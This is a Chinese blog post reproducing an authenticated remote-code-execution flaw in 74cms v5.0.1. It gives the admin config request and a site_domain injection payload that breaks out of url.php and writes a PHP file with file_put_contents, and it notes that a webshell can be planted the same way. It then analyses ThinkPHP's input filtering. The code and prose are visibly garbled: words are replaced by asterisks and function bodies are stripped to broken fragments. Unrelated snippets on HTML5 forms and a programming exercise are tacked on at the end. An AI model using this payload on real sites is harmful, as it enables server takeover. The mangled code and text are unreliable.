74cms v5 0 1後台RCE復現

2022-09-10 08:57:09 字數 4185 閱讀 7036

74cms v5.0.1在url.php中以陣列鍵值對形式儲存**網域名稱資訊,可在**網域名稱資訊修改處寫入php**,修改生效後,訪問url.php,執行寫入的php**。利用此漏洞可寫入webshell,導致遠端**執行。

首先登入後台,後台位址為/index.php?m=admin&c=index&a=login

導航欄選擇系統,進入**配置選項

使用burpsuite抓包,點選儲存配置

修改site_domain的值為(使用時先進行url編碼)', file_put_contents('403.php',base64_decode('pd9wahagcghwaw5mbygpoz8+')),'

其中pd9wahagcghwaw5mbygpoz8+base64解碼為<?php phpinfo();?>

74cms使用thinkphp框架,url訪問方式如下

thinkphp採用單一入口模式訪問應用,對應用的所有請求都定向到應用的入口檔案,系統會從url引數中解析當前請求的模組、控制器和操作,下面是乙個標準的url訪問格式:

第一種訪問方式

http://localhost:/thinkphp/index.php/home/index/index入口檔案/模組/控制器/操作

第二種訪問方式(傳引數)

http://localhost:/thinkphp/index.php?m=home&c=index&a=index傳三個引數

在修改網域名稱時,訪問的url為/index.php?m=admin&c=config&a=edit

i函式語法格式:i('變數型別.變數名/修飾符',['預設值'],['過濾方法或正則'],['額外資料來源'])

i('id',0);獲取id引數 自動判斷get或者post

i('post.name','','htmlspecialchars');獲取$_post['name']

i('get.');獲取$_get

關鍵**

$this->update_config($config,conf_path.'url.php'); //更新config檔案url.php

}·····略

//i函式原始碼

//$site_domain = i('request.site_domain','','trim');

/** * 獲取輸入引數 支援過濾和預設值

* 使用方法:

** i('id',0); 獲取id引數 自動判斷get或者post

* i('post.name','','htmlspecialchars'); 獲取$_post['name']

* i('get.'); 獲取$_get

** @param string $name 變數的名稱 支援指定型別

* @param mixed $default 不存在的時候預設值

* @param mixed $filter 引數過濾方法

* @param mixed $datas 要獲取的額外資料來源

* @return mixed

*/function i($name,$default='',$filter=null,$datas=null) elseif(c('var_auto_string'))

if(strpos($name,'.')) else

switch(strtolower($method))

if(''==$name) elseif(isset($input[$name]))

}else

}elseif(is_int($filters))

if(is_array($filters))else}}

}}if(!empty($type))

}}else

is_array($data) && array_walk_recursive($data,'think_filter'); //呼叫自定義函式think_filter,定義見後文

return $data;

}

呼叫自定義函式對data進行過濾

//array_map_recursive函式

function array_map_recursive($filter, $data)

return $result;

}

過濾特殊字元

//think_filter函式

function think_filter(&$value)

}

從整體分析來看,對site_domain的輸入,只會使用trim,htmlspecialchars,stripslashes,strip_tags,think_filter這幾個函式做過濾,對於執行php**,寫入shell,有影響的只有strip_tags,可以通過編碼繞過

正常的url.php檔案內容如下,從之前的**可以看出更新網域名稱將更新domain和cookie_domain對應的值,原本的網域名稱為74cms.com,寫入到檔案中會在最前面加乙個.。

<?php 

return array (

'url_model' => 0,

'url_html_suffix' => '.html',

'url_pathinfo_depr' => '/',

'url_router_on' => true,

'url_route_rules' =>

array (

'/^jobfair\/(?!admin)(\w+)$/' => 'jobfair/index/:1',

'/^mall\/(?!admin)(\w+)$/' => 'mall/index/:1',

),'qscms_version' => '5.0.1',

'qscms_release' => '2019-03-19 00:00:00',

'session_options' =>

array (

'domain' => '.74cms.com',

0 => 18,

1 => '',

'path' => 'd:\phpstudy_pro\www\upload\data\session',

),'cookie_domain' => '.74cms.com',

0 => 18,

1 => '',

);

於是,現在可以構造payload閉合前後兩個單引號,並用逗號隔開', 需要執行的內容,'下圖為,漏洞復現的url.php的檔案內容

7 4HTML5新增的表單屬性

1.placeholder屬性 在輸入框中向使用者顯示描述性說明或提示資訊,類似於登陸頁面中,賬號的輸入框內有讓我們輸入賬號的提示,但只要我們單擊它並隨意輸入乙個字元就會自動消失 2.autocomplete屬性 用來知曉是否儲存輸入值已備用將來使用 屬性值作用 on可以顯示指定候補輸入的資料列表 ...

pta 7 4 含8的數字的個數 5分

7 4 含8的數字的個數 5分 現代人對數字越來越講究,都喜歡含有8的數字。現要你程式設計計算a至b之間的含有數字8的數的個數 比如181,88,8,28這些數都含有數字8,而21,45,49等沒有含有數字8 輸入格式 在一行中輸入兩個正整數a和b,用乙個空格隔開。0輸出格式 輸出a和b之間含有8的...